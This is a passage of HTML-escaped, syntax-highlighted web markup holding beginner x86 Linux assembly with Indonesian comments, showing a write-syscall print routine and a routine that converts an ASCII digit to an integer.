margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;1&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;int&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;0x80&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;_print_hello&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;:&lt;/span&gt;   &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; systemcall write(1,msg,len)&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;mov&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;edx&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;len&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;mov&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ecx&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;msg&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;mov&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ebx&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;1&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;mov&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;eax&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;4&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;int&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;0x80&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ret&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;stringtoint&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;:&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; mengubah string di lokasi yang ditunjuk EAX menjadi integer di ECX&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; EAX address of string&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;xor&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ecx&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ecx&lt;/span&gt;   &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; clear ECX&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;xor&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ebx&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ebx&lt;/span&gt;   &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; clear EBX&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;mov&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;bl&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #009900; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;[&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;eax&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #009900; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;]&lt;/span&gt;  &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; BL berisi kode ASCII string di lokasi yang ditunjuk EAX&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;sub&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;bl&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;0x30&lt;/span&gt;   &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; Kode ascii angka adalah 30h-39h, dikurangkan dengan 30h&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;add&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ecx&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ebx&lt;/span&gt;   &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; ECX ditambah EBX, ECX berisi nilai integer&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ret&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;section &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.data&lt;/span&gt;&lt;br /&gt;msg &lt;span 